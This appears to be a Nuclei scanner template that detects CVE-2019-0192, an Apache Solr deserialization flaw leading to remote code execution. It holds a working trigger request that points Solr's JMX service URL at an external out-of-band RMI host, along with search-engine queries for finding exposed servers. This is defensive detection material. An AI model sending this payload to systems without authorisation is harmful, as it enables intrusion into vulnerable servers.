59 lines
1.9 KiB
YAML
59 lines
1.9 KiB
YAML
id: CVE-2019-0192
|
|
|
|
info:
|
|
name: Apache Solr - Deserialization of Untrusted Data
|
|
author: hnd3884
|
|
severity: critical
|
|
description: |
|
|
In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.
|
|
reference:
|
|
- https://github.com/Imanfeng/Apache-Solr-RCE
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-0192
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2019-0192
|
|
cwe-id: CWE-502
|
|
epss-score: 0.94754
|
|
epss-percentile: 0.99337
|
|
cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: apache
|
|
product: solr
|
|
shodan-query: title:"Solr"
|
|
fofa-query: title="Solr
|
|
tags: cve,cve2019,apache,solr,deserialization,rce,oast
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /solr/admin/cores?wt=json HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
extractors:
|
|
- type: json
|
|
name: core_name
|
|
json:
|
|
- '.status | .[].name'
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
POST /solr/{{core_name}}/config HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://{{interactsh-url}}/obj"}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(interactsh_protocol, "dns")'
|
|
- 'contains(body, "javax.management.remote.rmi")'
|
|
- 'contains(content_type, "text/plain")'
|
|
- 'status_code == 500'
|
|
condition: and
|
|
# digest: 4a0a004730450221008fd70c8333de16f1f7095b037a139981be67dfb0d120412a06c7ef848fcbaf1702202a7f3b14df94ee8cb7051fe153184bdc15d000377acc64e5d9ac70d23d9eeda5:922c64590222798bb761d5b6d8e72950 |